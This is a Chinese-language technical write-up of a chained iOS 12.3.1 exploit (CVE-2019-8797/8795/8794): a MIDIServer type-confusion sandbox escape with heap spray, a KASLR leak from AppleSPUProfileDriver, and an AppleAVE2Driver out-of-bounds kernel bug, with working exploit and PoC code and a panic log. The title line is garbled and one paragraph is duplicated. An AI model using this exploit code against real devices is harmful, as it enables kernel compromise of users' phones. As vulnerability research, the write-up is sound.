linux越狱80x24,通过沙盒逃逸和内核R/W导致RCE的iOS越狱漏洞

195619?from=singlemessage

简介

该漏洞是由安全研究员(08Tc3wBB)在TyphoonPwn 2019上所演示,并获得了60000美元的奖励!

漏洞描述

这篇文章描述了iOS 12.3.1中发现的一系列漏洞,将这些漏洞组合在一起后,可以在内核的上下文中执行代码。

CVE

CVE-2019-8797

CVE-2019-8795

CVE-2019-8794

影响系统

iOS 12.3.1

漏洞分析

虽然用户态可以访问一些内核的功能,但是由于iOS中沙盒机制的保护,很多攻击面是无法访问的。因此,逃逸沙盒对于攻击内核非常重要。

沙盒逃逸

与内核不同的是,在用户态中运行的许多守护进程都可以通过默认的应用访问沙盒。比如一个名为 MIDIServer(com.apple.MIDIServer)的守护进程。这个守护进程允许其他应用程序和服务与可以连接到MIDI的设备进行交互。

MIDIServer所有的功能都存储在一个库中,这个库是CoreMIDI框架的一部分:MIDIServer的main()函数只是调用MIDIServerRun()。

CoreMIDI设置了两个可以访问沙盒的Mach服务:com.apple.midiserver和 com.apple.midiserver.io。前者是一个基于mig的Mach服务。com.apple.midiserver.io是一个自定义实现,用于在客户端和服务器之间传输IO缓冲区。

下面是io Mach服务运行的主线程:

__int64 MIDIIOThread::Run(MIDIIOThread *this, __int64 a2, __int64 a3, int *a4)

{

x0 = XMachServer::CreateServerPort("com.apple.midiserver.io", 3, this + 140, a4);

*(this + 36) = x0;

if ( !*(this + 35) )

{

server_port = x0;

*(this + 137) = 1;

while ( 1 )

{

bufsz = 4;

if ( XServerMachPort::ReceiveMessage(&server_port, &msg_cmd, &msg_buf, &bufsz) || msg_cmd == 3 )

break;

ResolvedOpaqueRef::ResolvedOpaqueRef(&v10, msg_buf);

if ( v12 )

{

if ( msg_cmd == 1 )

{

ClientProcess::WriteDataAvailable(v12);

}

else if ( msg_cmd == 2 )

{

ClientProcess::EmptiedReadBuffer(v12);

}

}

if ( v10 )

{

applesauce::experimental::sync::LockFreeHashTable::Lookup::~Lookup(&v11);

LOBYTE(v10) = 0;

}

}

x0 = XServerMachPort::~XServerMachPort(&server_port);

}

return x0;

}

XServerMachPort::ReceiveMessage使用MACH_RCV_MSG参数调用mach_msg,等待该端口上的消息。这个消息包含一个命令ID和一个长度字段,后面是消息的主体,由ReceiveMessage调用解析。提供了三个命令:命令1将调用ClientProcess::WriteDataAvailable,命令2将调用ClientProcess::EmptiedReadBuffer,命令3将退出Mach服务循环。通过ResolvedOpaqueRef找到传递给ClientProcess调用的v12对象。这个方法将使用消息中提供的4字节缓冲区(对象ID)在哈希表中查找,将对象返回到堆栈上。

这漏洞存在于ResolvedOpaqueRef::ResolvedOpaqueRef调用中。

这个方法使用的哈希表实际上包含许多不同类型的对象,而不仅仅是ClientProcess类型的对象。例如,MIDIExternalDeviceCreate和MIDIDeviceAddEntity创建的对象都存储在此哈希表中。

如果进行正确的类型检查,这里就没有问题。但是,实际上有两种访问此哈希表的方法:

BaseOpaqueObject::ResolveOpaqueRef

ResolvedOpaqueRef::ResolvedOpaqueRef

前一种在_MIDIDeviceAddEntity方法中使用,包含正确的类型检查:

midi_device = BaseOpaqueObject::ResolveOpaqueRef(&TOpaqueRTTI::sRTTI, device_id);

但是,后一种方法没有。这意味着,通过提供不同类型对象的ID,可以在其中一个ClientProcess调用中导致类型混淆,而该方法需要ClientProcess*类型的对象。

查看EmptiedReadBuffer的调用:

; __int64 MIDIIOThread::Run(MIDIIOThread *this)

__ZN12MIDIIOThread3RunEv

[...]

BL __ZN13ClientProcess17EmptiedReadBufferEv ; ClientProcess::EmptiedReadBuffer(x0) // `x0` is potentially type confused

; __int64 ClientProcess::EmptiedReadBuffer(ClientProcess *this)

__ZN13ClientProcess17EmptiedReadBufferEv

STP X20, X19, [SP,#-0x10+var_10]!

STP X29, X30, [SP,#0x10+var_s0]

ADD X29, SP, #0x10

MOV X19, X0

ADD X0, X0, #0x20 ; this

BL __ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv ; MIDIIORingBufferWriter::EmptySecondaryQueue(x0)

; bool MIDIIORingBufferWriter::EmptySecondaryQueue(MIDIIORingBufferWriter *this)

__ZN22MIDIIORingBufferWriter19EmptySecondaryQueueEv

STP X28, X27, [SP,#-0x10+var_50]!

STP X26, X25, [SP,#0x50+var_40]

STP X24, X23, [SP,#0x50+var_30]

STP X22, X21, [SP,#0x50+var_20]

STP X20, X19, [SP,#0x50+var_10]

STP X29, X30, [SP,#0x50+var_s0]

ADD X29, SP, #0x50

MOV X21, X0

MOV X19, X0 ; x19 = (MIDIIORingBufferWritter *)this

LDR X8, [X19,#0x58]!

LDR X8, [X8,#0x10]

MOV X0, X19

如上所见,EmptiedReadBuffer代码将有效地立即取消对类型混乱对象中的两个指针的引用,并将其转移到一个可以被攻击者控制的地址。这个调用看起来是这样的:

如上所见,EmptiedReadBuffer将取消对类型混淆对象中几个指针的引用,并跳转到一个可以由攻击者控制的地址。调用看起来像这样:obj-> 0x78-> 0x10(obj-> 0x20)。

漏洞利用

为了利用这个漏洞,我们可以将ClientProcess类型与MIDIEntity实例混淆。MIDIEntity的大小为0x78,这表示着对象执行的第一次取消引用(在0x78处)将超出内存范围。然后,可以在MIDIEntity对象之后对一些受控制的数据进行对齐,因为我们处于用户态,所以有更好的方法。

MIDIObjectSetDataProperty API调用将把CoreFoundation对象反序列化到MIDIServer的堆中,因此使用这个调用可以喷射大小为0x90的CFData对象。然后利用此漏洞发送两个包含OOL内存描述符的Mach消息,将其映射到静态地址0x29f000000(由于某些原因,需要发送两次该消息,否则将不会映射内存;我不确定具体原因),这个内存是一个连续的CoW映射,包含稍后要使用的ROP链,而且重要的是一个位于0x10偏移处的函数指针,将被EmptySecondaryQueue取消引用。

下面的代码将设置CFData对象被加入MIDIServer的堆中:

Prepare_bunch_keys(); // For iterating

size_t spraybufsize = 0x90;

void *spraybuf = malloc(spraybufsize);

for(int i=0; i

*(uint64_t*)(spraybuf + i) = SPRAY_ADDRESS; // The 0x29f000000 address

}

CFDataRef spraydata = CFDataCreate(kCFAllocatorDefault, spraybuf, spraybufsize);

堆的构造:

// OSStatus MIDIClientCreate(CFStringRef name, MIDINotifyProc notifyProc, void *notifyRefCon, MIDIClientRef *outClient);

uint32_t mclient_id = 0;

MIDIClientCreate(CFSTR(""), useless_notify, NULL, &mclient_id);

printf("MIDI Client ID: 0x%xn", mclient_id);

// OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);

uint32_t mdevice_id = 0;

MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &mdevice_id);

printf("MIDI Device ID: 0x%xn", mdevice_id);

// OSStatus MIDIObjectSetDataProperty(MIDIObjectRef obj, CFStringRef propertyID, CFDataRef data);

for (int i = 0; i < 300; i++)

{

MIDIObjectSetDataProperty(mdevice_id, bunchkeys[i], spraydata); // Each call will unserialize one CFData object of size 0x90

}

// Sends 1 OOL descriptor each with the spray memory mapping

Send_spray_mem();

Send_spray_mem();

// OSStatus MIDIObjectRemoveProperty(MIDIObjectRef obj, CFStringRef propertyID);

// Removes every other property we just added

for (int i = 0; i < 300; i = i + 2)

{

MIDIObjectRemoveProperty(mdevice_id, bunchkeys[i]); // Free's the CFData object, popping holes on the heap

}

我们现在分配了150个CFData和150个大小为0x90空闲的空间,全部包含SPRAY_ADDRESS指针。下一步是使用MIDIEntity对象填充其中一个漏洞:

uint32_t mentity_id = 0;

MIDIDeviceAddEntity(mdevice_id, CFSTR(""), false, 0, 0, &mentity_id);

printf("mentity_id = 0x%xn", mentity_id);

如果一切按计划进行,那么现在应该在堆上有一块内存,其中第一个0x78字节用有效的MIDIEntity对象填充,剩下的0x18字节用SPRAY_ADDRESS指针填充。

为了触发这个漏洞,我们可以使用MIDIEntity对象ID(mentity_id)调用com.apple.midiserver.io Mach服务:

// Sends msgh_id 0 with cmd 2 and datalen 4 (ClientProcess::EmptiedReadBuffer)

Init_triggerExp_msg(mentity_id);

Send_triggerExp_msg();

它将启动MIDIServer进程中Mach服务线程上的ROP链。

然后根据新对象的ID判断是否触发漏洞:

// OSStatus MIDIExternalDeviceCreate(CFStringRef name, CFStringRef manufacturer, CFStringRef model, MIDIDeviceRef *outDevice);

uint32_t verifysucc_mdevice_id = 0;

MIDIExternalDeviceCreate(CFSTR(""), CFSTR(""), CFSTR(""), &verifysucc_mdevice_id);

printf("verify_mdevice_id: 0x%xn", verifysucc_mdevice_id);

if (verifysucc_mdevice_id == mdevice_id + 2)

{

break;

}

// We failed, reattempting...

printf("Try againn");

MIDIRestart();

如果对象ID不连续,则表示利用失败(守护进程崩溃),因此可以通过MIDIRestart调用重新启动守护进程,然后可以重新尝试利用漏洞。

这里不会详细介绍ROP链的原理,基本思路是在SPRAY_ADDRESS内存映射中的缓冲区上调用objc_release,在这个地址上伪造一个假的Objective-C对象,在这个对象上执行release方法。然后创建一个原始的调用链,目的是打开3个userclients,并挂在mach_msg_receive调用中,以便稍后在收到消息时通过vm_read_overwrite覆盖一些内存—这将在稍后的内核利用中使用。

需要注意的是,对于这种基于ROP的利用方法,A12和更新的处理器需要绕过PAC。

从MIDIServer获取的userclients是AppleSPUProfileDriver,IOSurfaceRoot和AppleAVE2Driver。

使用AppleSPUProfileDriver:攻破内核ASLR

通过MIDIServer我们可以访问AppleSPUProfileDriver userclient,这个userclient实现了12个方法,但是我们只对AppleSPUProfileDriverUserClient::extSignalBreak感兴趣。查看伪代码,大概了解一下做了什么:

__int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)

{

__int64 dataQueueLock; // x19

unsigned __int64 v8; // x0

__int64 result; // x0

int v10; // [xsp+8h] [xbp-48h]

int v11; // [xsp+Ch] [xbp-44h]

__int64 v12; // [xsp+10h] [xbp-40h]

__int64 v13; // [xsp+38h] [xbp-18h]

dataQueueLock = this->dataQueueLock;

IORecursiveLockLock(this->dataQueueLock);

if ( this->dataQueue )

{

v10 = 0;

abs_time = mach_absolute_time();

v12 = AppleSPUProfileDriver::absolutetime_to_sputime(this, abs_time);

v11 = OSIncrementAtomic(&this->atomicCount);

(*(*this->dataQueue + 0x88∂LL))(); // IOSharedDataQueue::enqueue(&v10, 0x30)

}

result = IORecursiveLockUnlock(dataQueueLock);

return result;

}

这个函数通过一个锁,将一些数据写入堆栈上存储的缓冲区,并调用IOSharedDataQueue::enqueue将该数据提交到队列,缓冲区大小为0x30。这里访问堆栈的方式不是特别清楚,所以来看下反汇编部分代码:

; __int64 AppleSPUProfileDriver::signalBreakGated(AppleSPUProfileDriver *this)

__ZN21AppleSPUProfileDriver16signalBreakGatedEv

var_48 = -0x48

var_44 = -0x44

var_40 = -0x40

var_18 = -0x18

var_10 = -0x10

var_s0 = 0

PACIBSP

SUB SP, SP, #0x60

STP X20, X19, [SP,#0x50+var_10]

STP X29, X30, [SP,#0x50+var_s0]

ADD X29, SP, #0x50

MOV X20, X0

ADRP X8, #___stack_chk_guard@PAGE

NOP

LDR X8, [X8,#___stack_chk_guard@PAGEOFF]

STUR X8, [X29,#var_18]

LDR X19, [X0,#0x30B8]

MOV X0, X19

BL _IORecursiveLockLock

LDR X8, [X20,#0x90]

CBZ X8, branch_exit_stub

STR WZR, [SP,#0x50+var_48]

BL _mach_absolute_time

MOV X1, X0 ; unsigned __int64

MOV X0, X20 ; this

BL __ZN21AppleSPUProfileDriver23absolutetime_to_sputimeEy ; AppleSPUProfileDriver::absolutetime_to_sputime(ulong long)

STR X0, [SP,#0x50+var_40]

MOV W8, #0x30CC

ADD X0, X20, X8

BL _OSIncrementAtomic

STR W0, [SP,#0x50+var_44]

LDR X0, [X20,#0x90]

LDR X8, [X0]

LDRAA X9, [X8,#0x90]!

MOVK X8, #0x911C,LSL#48

ADD X1, SP, #0x50+var_48

MOV W2, #0x30

BLRAA X9, X8 // Call to IOSharedDataQueue::enqueue

branch_exit_stub ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+38

MOV X0, X19 ; lock

BL _IORecursiveLockUnlock

LDUR X8, [X29,#var_18]

ADRP X9, #___stack_chk_guard@PAGE

NOP

LDR X9, [X9,#___stack_chk_guard@PAGEOFF]

CMP X9, X8

B.NE branch_stack_chk_fail

MOV W0, #0

LDP X29, X30, [SP,#0x50+var_s0]

LDP X20, X19, [SP,#0x50+var_10]

ADD SP, SP, #0x60

RETAB

; ---------------------------------------------------------------------------

branch_stack_chk_fail ; CODE XREF: AppleSPUProfileDriver::signalBreakGated(void)+9C

BL ___stack_chk_fail

可以看到32位值为零保存在var_48中,OSIncrementAtomic调用的结果保存在var_44中,absolutetime_to_sputime的返回值保存在var_40中,但是,还记得为IOSharedDataQueue::enqueue调用提供了0x30大小吗?这意味着任何未初始化的堆栈数据都将泄漏到dataqueue中!虽然dataqueue可能包含泄漏的数据,如果我们不能访问此数据,那将不会对安全产生任何影响。但是,IOSharedDataQueue被签名成完全共享。让我们来看下AppleSPUProfileDriverUserClient::clientMemoryForType:

__int64 AppleSPUProfileDriverUserClient::clientMemoryForType(AppleSPUProfileDriverUserClient *this, int type, unsigned int *options, IOMemoryDescriptor **memory)

{

[...]

ret = 0xE00002C2LL;

if ( !type )

{

memDesc = AppleSPUProfileDriver::copyBuffer(this->provider);

*memory = memDesc;

if ( memDesc )

ret = 0LL;

else

ret = 0xE00002D8LL;

}

return ret;

}

__int64 AppleSPUProfileDriver::copyBuffer(AppleSPUProfileDriver *this)

{

[...]

dataQueueLock = this->dataQueueLock;

IORecursiveLockLock(this->dataQueueLock);

memDesc = this->queueMemDesc;

if ( memDesc )

{

(*(*memDesc + 0x20LL))(); // OSObject::retain

buf = this->queueMemDesc;

}

else

{

buf = 0LL;

}

IORecursiveLockUnlock(dataQueueLock);

return buf;

}

因此,通过IOConnectMapMemory64我们可以将IOSharedDataQueue映射到内存描述符中,该描述符包含排队的所有数据,包括泄漏的栈数据!为了确定这个漏洞,我们再来看一个队列泄漏数据的例子:

30 00 00 00

00 00 00 00 78 00 00 80

c0 5a 0c 03 00 00 00 00

00 f0 42 00 e0 ff ff ff

50 b4 d8 3b e0 ff ff ff

80 43 03 11 f0 ff ff ff

00 00 00 00 00 00 00 00

可以看到第一个dword是IODataQueueEntry结构的size字段(在本例中为0x30),该字段位于队列中每个数据块的前面:

typedef struct _IODataQueueEntry{

UInt32 size;

UInt8 data[4];

} IODataQueueEntry;

然后我们第三行中看到OSIncrementAtomic的返回值(0x78)和absolutetime_to_sputime的值,数据之后是3个内核指针,它们是从堆栈中泄漏出来。具体来说,我们对第三个指针(0xfffffff011034380)感兴趣。根据我的测试(iPhone 8, iOS 12.4),这个指针总是指向内核的__TEXT段,因此通过计算指针偏移,我们可以推断出内核的偏移。信息泄漏的exploit如下所示:

uint64_t check_memmap_for_kaslr(io_connect_t ioconn)

{

kern_return_t ret;

mach_vm_address_t map_addr = 0;

mach_vm_size_t map_size = 0;

ret = IOConnectMapMemory64(ioconn, 0, mach_task_self(), &map_addr, &map_size, kIOMapAnywhere);

if (ret != KERN_SUCCESS)

{

printf("IOConnectMapMemory64 failed: %x %sn", ret, mach_error_string(ret));

return 0x0;

}

uint32_t search_val = 0xfffffff0; // Constant value of Kernel code segment higher 32bit addr

uint64_t start_addr = map_addr;

size_t search_size = map_size;

while ((start_addr = (uint64_t)memmem((const void *)start_addr, search_size, &search_val, sizeof(search_val))))

{

uint64_t tmpcalc = *(uint64_t *)(start_addr - 4) - INFOLEAK_ADDR;

// kaslr offset always be 0x1000 aligned

if ((tmpcalc & 0xFFF) == 0x0)

{

return tmpcalc;

}

start_addr += sizeof(search_val);

search_size = (uint64_t)map_addr + search_size - start_addr;

}

return 0x0;

}

mach_vm_offset_t get_kaslr(io_connect_t ioconn)

{

uint64_t scalarInput = 1;

// Allocte a new IOSharedDataQueue

// AppleSPUProfileDriverUserClient::extSetEnabledMethod

IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);

int kaslr_iter = 0;

while (!kaslr)

{

// AppleSPUProfileDriverUserClient::extSignalBreak

// Enqueues a data item of size 0x30, leaking 0x18 bytes off the stack

IOConnectCallStructMethod(ioconn, 11, NULL, 0, NULL, NULL);

// Map the IOSharedDataQueue and look for the leaked ptr

kaslr = check_memmap_for_kaslr(ioconn);

if (kaslr_iter++ % 5 == 0)

{

scalarInput = 0;

// AppleSPUProfileDriverUserClient::extSetEnabledMethod

IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);

scalarInput = 1;

// AppleSPUProfileDriverUserClient::extSetEnabledMethod

IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);

}

}

scalarInput = 0;

// AppleSPUProfileDriverUserClient::extSetEnabledMethod

IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL); // Shutdown

return kaslr;

}

攻击内核

最后一个漏洞是AppleAVE2Driver中缺少边界检查,AppleAVE2是iOS中的图形驱动程序,在本例中,可通过沙盒逃逸来访问MIDIServer。userclient公开了24个方法,这个漏洞存在于索引7的方法中:_SetSessionSettings。该方法获取一个大小为0x108的输入缓冲区,并通过AppleAVE2Driver::GetIOSurfaceFromCSID方法从输入缓冲区中提供的ID加载IOSurfaces,最后调用AppleAVE2Driver::Enqueue。具体来说,该方法将加载一个名为InitInfoSurfaceId或InitInfoBufferr的表:

if ( !structIn->InitInfoSurfaceId )

{

goto err;

}

[...]

initInfoSurfaceId = structIn->InitInfoSurfaceId;

if ( initInfoSurfaceId )

{

initInfoBuffer = AppleAVE2Driver::GetIOSurfaceFromCSID(this->provider, initInfoSurfaceId, this->task);

this->InitInfoBuffer = initInfoBuffer;

if ( initInfoBuffer )

goto LABEL_13;

goto err;

}

然后AppleAVE2Driver::Enqueue方法将在IOSurface上创建一个IOSurfaceBufferMngr实例:

bufferMgr = operator new(0x70uLL);

if ( !IOSurfaceBufferMngr::IOSurfaceBufferMngr(bufferMgr, 0LL, this) )

{

goto LABEL_23;

}

if ( IOSurfaceBufferMngr::CreateBufferFromIOSurface(

bufferMgr,

service->InitInfoBuffer,

this->iosurfaceRoot,

*&this->gap8[128],

*&this->gap8[136],

1,

0,

0,

0,

0,

*&this->gap101[39],

"InitInfo",

this->gap3AF[49],

0x1F4u) )

{

err = 0xE00002BDLL;

v28 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(bufferMgr);

operator delete(v28);

return err;

}

if ( bufferMgr->size < 0x25DD0 )

{

err = 0xE00002BCLL;

goto LABEL_27;

}

buffMgrKernAddr = bufferMgr->kernelAddress;

if ( !buffMgrKernAddr )

{

goto LABEL_20;

}

考虑到这个缓冲区中的数据(现在映射到buffMgrKernAddr)是由userland控制的,该方法将继续将缓冲区中的大块数据复制到AVEClient*对象中,现在将其命名为currentClient:

currentClient->unsigned2400 = *(buffMgrKernAddr + 2008);

memmove(&currentClient->unsigned2404, buffMgrKernAddr + 2012, 0x2BE4LL);

currentClient->oword5018 = *(buffMgrKernAddr + 13296);

currentClient->oword5008 = *(buffMgrKernAddr + 13280);

currentClient->oword4FF8 = *(buffMgrKernAddr + 13264);

currentClient->oword4FE8 = *(buffMgrKernAddr + 13248);

currentClient->oword5058 = *(buffMgrKernAddr + 13360);

currentClient->memoryInfoCnt2 = *(buffMgrKernAddr + 0x3420);

currentClient->oword5038 = *(buffMgrKernAddr + 13328);

currentClient->oword5028 = *(buffMgrKernAddr + 13312);

currentClient->oword5098 = *(buffMgrKernAddr + 13424);

currentClient->oword5088 = *(buffMgrKernAddr + 13408);

currentClient->oword5078 = *(buffMgrKernAddr + 13392);

currentClient->oword5068 = *(buffMgrKernAddr + 13376);

currentClient->oword50C8 = *(buffMgrKernAddr + 13472);

currentClient->oword50B8 = *(buffMgrKernAddr + 13456);

currentClient->oword50A8 = *(buffMgrKernAddr + 13440);

currentClient->qword50D8 = *(buffMgrKernAddr + 13488);

memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);

memmove(&currentClient->gap1C8C[0x5CC], buffMgrKernAddr + 1584, 0x1A8LL);

通过AppleAVE2DriverUserClient::_ my_close关闭AppleAVE2Driver userclient时,将调用一个名为AppleAVE2Driver::AVE_DestroyContext的函数,该函数位于该userclient关联的AVEClient对象上。AVE_DestroyContext在AVEClient中MEMORY_INFO结构上调用AppleAVE2Driver::DeleteMemoryInfo,并且在倒数第二步客户端的MEMORY_INFO结构数组上调用此函数,其数量由memoryInfoCnt{1,2}字段表示:

v73 = currentClient->memoryInfoCnt1 + 2;

if ( v73 <= currentClient->memoryInfoCnt2 )

v73 = currentClient->memoryInfoCnt2;

if ( v73 )

{

iter1 = 0LL;

statsMapBufArr = currentClient->statsMapBufferArray;

do

{

AppleAVE2Driver::DeleteMemoryInfo(this, statsMapBufArr);

++iter1;

loopMax = currentClient->memoryInfoCnt1 + 2;

cnt2 = currentClient->memoryInfoCnt2;

if ( loopMax <= cnt2 )

loopMax = cnt2;

else

loopMax = loopMax;

statsMapBufArr += 0x28LL;

}

while ( iter1 < loopMax );

}

在_SetSessionSettings中,对memoryInfoCnt1的值进行边界检查:

if ( currentClient->memoryInfoCnt1 >= 4u )

{

ret = 0xE00002BCLL;

return ret;

}

但是,没有检查memoryInfoCnt2的值。这里缺少检查,加上while循环中的逻辑,意味着如果提供足够大的memoryInfoCnt2值,循环将越界访问和调用DeleteMemoryInfo上的数据:

loopMax = currentClient->memoryInfoCnt1 + 2; // Take memoryInfoCnt1 (max 4), loopMax is <=6

cnt2 = currentClient->memoryInfoCnt2; // Take memoyInfoCnt2

if ( loopMax <= cnt2 ) // if cnt2 is larger than loopMax...

loopMax = cnt2; // update loopMax to the value of memoryInfoCnt2

else

loopMax = loopMax; // else, no change

默认情况下,statsMapBufferArray中有5个MEMORY_INFO结构。由于每个大小为0x28,数组将占用0xc8(十进制:200)字节。由于这个数组是在AVEClient*对象中内联的,当我们触发越界错误时,下一个DeleteMemoryInfo调用将使用statsMapBufferArray之后所有的数据。在我的iPhone 8的12.4内核上,这个数组的偏移量是0x1b60,也就是说第6项(第一个越界项)位于偏移量0x1c28处。

现在,还记得在SetSessionSettings中,如何将大块数据从用户控制的缓冲区复制到AVEClient对象中吗?恰好其中一个受控制缓冲区位于statsMapBufferArray字段之后!

00000000 AVEClient struc ; (sizeof=0x29AC8, align=0x8, mappedto_215)

[...]

00001B60 statsMapBufferArray DCB 200 dup(?)

00001C28 sessionSettings_block1 DCB ?

[...]

// Copies from the IOSurface buffer to a buffer adjacent to the statsMapBufferArray

memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);

因此,通过在复制到AVEClient的IOSurface缓冲区中提供精心构建的数据,我们完全可以控制越界数组条目。

获取控制(PC)

现在,我们看一下AppleAVE2Driver::DeleteMemoryInfo函数原型,记住我们对memInfo对象具有完全控制权限:

__int64 AppleAVE2Driver::DeleteMemoryInfo(AppleAVE2Driver *this, IOSurfaceBufferMngr **memInfo)

{

[...]

if ( memInfo )

{

if ( *memInfo )

{

v8 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(*memInfo);

operator delete(v8);

}

memset(memInfo, 0, 0x28uLL);

result = 0LL;

}

else

{

result = 0xE00002BCLL;

}

return result;

}

IOSurfaceBufferMngr的析构函数直接封装了一个静态的IOSurfaceBufferMngr::RemoveBuffer调用:

IOSurfaceBufferMngr *IOSurfaceBufferMngr::~IOSurfaceBufferMngr(IOSurfaceBufferMngr *this)

{

IOSurfaceBufferMngr::RemoveBuffer(this);

return this;

}

然后RemoveBuffer调用IOSurfaceBufferMngr::CompleteFence,在本例中,汇编代码如下:

IOSurfaceBufferMngr::CompleteFence(IOSurfaceBufferMngr *this)

STP X20, X19, [SP,#-0x10+var_10]!

STP X29, X30, [SP,#0x10+var_s0]

ADD X29, SP, #0x10

MOV X19, X0 // x19 = x0 (controlled pointer)

LDR X0, [X0,#0x58] // Loads x0->0x58

CBZ X0, exit_stub // Exits if the value is zero

LDRB W8, [X19,#0x1E] // Loads some byte at x19->0x1e

CBNZ W8, exit_stub // Exits if the byte is non-zero

MOV W1, #0

BL IOFence::complete

LDR X0, [X19,#0x58] // Loads x19->0x58

LDR X8, [X0] // Loads x0->0x0

LDR X8, [X8,#0x28] // Loads function pointer x8->0x28

BLR X8 // Branches to fptr, giving arbitrary PC control

STR XZR, [X19,#0x58]

exit_stub

LDP X29, X30, [SP,#0x10+var_s0]

LDP X20, X19, [SP+0x10+var_10],#0x20

RET

本质上,通过创建一个userland共享缓冲区,可以触发一个越界访问,这将直接在关闭userclient时提供任意PC控制。

下面是这个漏洞的PoC,它将使设备崩溃,并导致取消对地址0x4141414142424242的引用:

void kernel_bug_poc(io_connect_t ioconn, io_connect_t surface_ioconn)

{

kern_return_t ret;

{

char open_inputStruct[0x8] = { 0 };

char open_outputStruct[0x4] = { 0 };

size_t open_outputStruct_size = sizeof(open_outputStruct);

// AppleAVE2UserClient::_my_open

ret = IOConnectCallStructMethod(ioconn,

0,

open_inputStruct,

sizeof(open_inputStruct),

open_outputStruct,

&open_outputStruct_size);

NSLog(@"my_open: %x %s", ret, mach_error_string(ret));

}

// Create an IOSurface using the IOSurface client owned by MIDIServer

// Address & size of the shared mapping created by IOSurface and

// returned in the output struct at offsets 0x0 and 0x1c respectively

uint64_t surface_map_addr = 0x0;

uint32_t surface_map_size = 0x0;

uint32_t surface_id = IOSurfaceRootUserClient_CreateSurface(surface_ioconn, &surface_map_addr, &surface_map_size);

NSLog(@"Got Surface ID: %d", surface_id);

uintptr_t surface_data = malloc(surface_map_size);

bzero((void *)surface_data, surface_map_size);

*(uint64_t *)(surface_data + 0x0) = 0x4141414142424242; // First pointer to memory containing function pointer

// This field is the start of the block adjacent to the stats array

*(uint32_t *)(surface_data + 0x3420) = 6; // `memoryInfoCnt2` field, gives 1 OOB access

// Sends the data to MIDIServer to be written onto the IOSurface

// The MIDIServer ROP chain hangs on the following call:

// vm_read_overwrite(ourtask, clientbuf, surface1_map_size, surface1_map_addr, ...)

send_overwriting_iosurface_map(surface_data, surface_map_size, surface_map_addr);

// Waits for a message back from MIDIServer, sent by the ROP chain

// Notifies us that the vm_read_overwrite call completed

reply_notify_completion();

free(surface_data);

{

// Write the OOB count value to the `currentClient` object, and write our adjacent data

char setSessionSettings_inputStruct[0x108] = { 0 };

char setSessionSettings_outputStruct[0x4] = { 0 };

size_t setSessionSettings_outputStruct_size = sizeof(setSessionSettings_outputStruct);

*(uint32_t *)(setSessionSettings_inputStruct + 0x04) = surface_id; // FrameQueueSurfaceId

*(uint32_t *)(setSessionSettings_inputStruct + 0x08) = surface_id; // InitInfoSurfaceId, vulnerable IOSurface mapping

*(uint32_t *)(setSessionSettings_inputStruct + 0x0c) = surface_id; // ParameterSetsBuffer

*(uint32_t *)(setSessionSettings_inputStruct + 0xd0) = surface_id; // codedHeaderCSID & codedHeaderBuffer [0]

*(uint32_t *)(setSessionSettings_inputStruct + 0xd4) = surface_id; // codedHeaderCSID & codedHeaderBuffer [1]

// AppleAVE2UserClient::_SetSessionSettings

ret = IOConnectCallStructMethod(ioconn,

7,

setSessionSettings_inputStruct,

sizeof(setSessionSettings_inputStruct),

setSessionSettings_outputStruct,

&setSessionSettings_outputStruct_size);

NSLog(@"SetSessionSettings: %x %s", ret, mach_error_string(ret));

}

{

// Trigger the bug

char close_inputStruct[0x4] = { 0 };

char close_outputStruct[0x4] = { 0 };

size_t close_outputStruct_size = sizeof(close_outputStruct);

// AppleAVE2UserClient::_my_close

ret = IOConnectCallStructMethod(ioconn,

1,

close_inputStruct,

sizeof(close_inputStruct),

close_outputStruct,

&close_outputStruct_size);

NSLog(@"my_close: %x %s", ret, mach_error_string(ret));

}

}

log:

panic(cpu 5 caller 0xfffffff007205df4): Kernel data abort. (saved state: 0xffffffe03cafaf40)

x0: 0x4141414142424242 x1: 0xffffffe02cb09c28 x2: 0x0000000000000000 x3: 0xffffffe02cb09c28

x4: 0x0000000000000000 x5: 0x0000000000000000 x6: 0xfffffff00f35bb54 x7: 0x0000000000000000

x8: 0x0000000000000006 x9: 0x0000000000000006 x10: 0x0000000000000001 x11: 0x0000000000080022

x12: 0x0000000000000022 x13: 0xffffffe00094bc08 x14: 0x0000000000080023 x15: 0x0000000000006903

x16: 0xfffffff00ee71740 x17: 0x0000000000000000 x18: 0xfffffff00ee79000 x19: 0x4141414142424242

x20: 0xffffffe02cb08000 x21: 0x0000000000000000 x22: 0xffffffe02cb09c28 x23: 0x0000000000000005

x24: 0xffffffe02cb2f748 x25: 0xffffffe02cb0d034 x26: 0x0000000000000050 x27: 0xffffffe004929218

x28: 0x0000000000000000 fp: 0xffffffe03cafb2a0 lr: 0xfffffff0069397e8 sp: 0xffffffe03cafb290

pc: 0xfffffff0069398dc cpsr: 0x80400304 esr: 0x96000004 far: 0x414141414242429a

可以看到pc对齐是在x0->0x58指令之前的分支:

0xFFFFFFF0069398CC IOSurfaceBufferMngr::CompleteFence

0xFFFFFFF0069398CC

0xFFFFFFF0069398CC STP X20, X19, [SP,#-0x10+var_10]!

0xFFFFFFF0069398D0 STP X29, X30, [SP,#0x10+var_s0]

0xFFFFFFF0069398D4 ADD X29, SP, #0x10

0xFFFFFFF0069398D8 MOV X19, X0

0xFFFFFFF0069398DC LDR X0, [X0,#0x58] // Faults here

0xFFFFFFF0069398E0 CBZ X0, loc_FFFFFFF006939908

0xFFFFFFF0069398E4 LDRB W8, [X19,#0x1E]

0xFFFFFFF0069398E8 CBNZ W8, loc_FFFFFFF006939908

0xFFFFFFF0069398EC MOV W1, #0

0xFFFFFFF0069398F0 BL IOFence__complete

0xFFFFFFF0069398F4 LDR X0, [X19,#0x58]

0xFFFFFFF0069398F8 LDR X8, [X0]

